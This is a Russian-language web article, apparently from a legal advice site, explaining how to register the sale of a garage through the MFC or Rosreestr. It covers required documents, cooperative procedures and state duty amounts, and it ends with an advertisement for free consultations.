В первую очередь, покупателю нужно выбрать подходящий для него объект и обратиться в территориальный регистрационный орган для проверки факта того, что продавец является фактическим собственником помещения и имеет право на осуществление любых торговых операций.

Дальнейший алгоритм действий для покупателей имеет следующий вид:

Получение от продавца полного пакета документации для законного оформления сделки.
Составление соглашения о купле-продаже.
Оплата полной стоимости гаража. Которая, в свою очередь, четко прописывается в договоре.
Предоставление в МФЦ или Росреестр заявления о регистрации прав собственности.

Наглядные образцы

Продавцам перед реализацией гаражного бокса стоит позаботится об оформлении или переоформлении всей документации на имущественный объект. Это может быть произведено только в случае полной выплаты пая.

Прежде всего необходимо позаботится об оформлении кадастровой документации. Для этого следует обратиться в территориальное отделение БТИ и вызвать уполномоченного специалиста для осуществления замеров и детального описания имущества. Сотрудники организации оформят специальный технический план и справку о фактическом состоянии гаража.

После этого происходит оформление технического паспорта. Размер государственной пошлины в данном случае составляет 800 рублей. На основании этого документа и происходит формирование основной кадастровой документации. При наличии этих двух основных документов может быть проведена приватизация гаража.

Скачать бланк договора купли-продажи гаража

Скачать образец заполнения договора купли-продажи гаража

Реально ли это без бумаг и прочие исключения

Ситуация может быть осложнена из-за того. что ни один гараж, находящийся в кооперативе, не был зарегистрирован в качестве официальной собственности. Следовательно, документов на такой объект у продавца также нет.

В этом случае при обращении в МФЦ нужно подготовить следующие документы:

устав гаражного кооператива;
выписка из налогового реестра;
свидетельство о постановке кооператива на учет в территориальной налоговой инспекции;
решение о назначении руководителя объединения;
свидетельство, подтверждающее предоставление земельных участков под нужды кооператива;
разрешение на постройку объектов;
акт ввода гаражей в эксплуатацию.

Стоит отметить, что бывают случаи, когда собственность в виде гаража не входит в состав кооператива.

В этом случае для прохождения регистрационной процедуры потребуются следующие бумаги:

квитанции об оплате государственной пошлины в полном размере;
документы о праве обладания участком земли, на котором располагается конкретный объект;
декларация о гараже, которая составляется по установленному образцу и подтверждает факт ввода объекта в эксплуатацию.

Сроки, пошлины и особые случаи

Продавец берет на себя обязательства по затратам на оформление документации и оплату государственной пошлины. Для получения кадастрового паспорта данная сумма составит около 200 рублей. Это в полной мере регламентируется статьей 333.33 Налогового Кодекса РФ. Паспорт формируется в течение 7 рабочих дней при обращении в Многофункциональный центр.

Что касается выплат за получение права собственности, то соответствующая сумма составляет 2 000 рублей. Ее нужно оплатить еще до подачи установленной документации. К предоставленным бумагам прилагается специальная квитанция.

Статья 333.33. Размеры государственной пошлины за государственную регистрацию, а также за совершение прочих юридически значимых действий

За оформление договора купли-продажи также предусматривается сумма в 2 000 рублей. Ее должен выплачивать покупатель, в обязательном порядке. Оформление осуществляется в течение 5 дней.

Стоит отметить, что продажа гаража может проводиться по упрощенной схеме. Для этого всем заинтересованным сторонам нужно обратиться к руководителю гаражного кооператива.

После этого продавец получит на руки свидетельство о полной оплате пая с обязательством составления заявления о выходе из кооператива.

Новый собственник обязуется оформить заявку на вступление в объединение. Решение о приеме принимается на общем собрании.

Протокол данного мероприятия является ключевым основанием для вступления нового владельца в ГСК.

Возможные трудности

Для завершения регистрации прав собственности необходимо установить состояние объекта.

Он должен быть построен на бетонном или каркасном основании, иметь устойчивые несущие конструкции и утеплительные элементы.

Что касается железных гаражных боксов, которые не могут быть отнесены к имущественным объектам, они не могут быть зарегистрированы в качестве собственности.

Для регистрации права собственности на земельный участок помимо основного пакета документации нужно предоставить в контролирующие органы доказательство погашения всех без исключения паевых взносов. Услуга по регистрации предоставляется представителями МФЦ, но они могут отказать в осуществлении операции без объяснения причин.

Внимание!

В связи с частыми изменениями в законодательстве информация порой устаревает быстрее, чем мы успеваем ее обновлять на сайте.
Все случаи очень индивидуальны и зависят от множества факторов. Базовая информация не гарантирует решение именно Ваших проблем.

Поэтому для вас круглосуточно работают БЕСПЛАТНЫЕ эксперты-консультанты!

ЗАЯВКИ И ЗВОНКИ ПРИНИМАЮТСЯ КРУГЛОСУТОЧНО и БЕЗ ВЫХОДНЫХ ДНЕЙ.

Источник: https://1kvartirka.ru/kuplja-prodazha-garazha-cherez-mfc/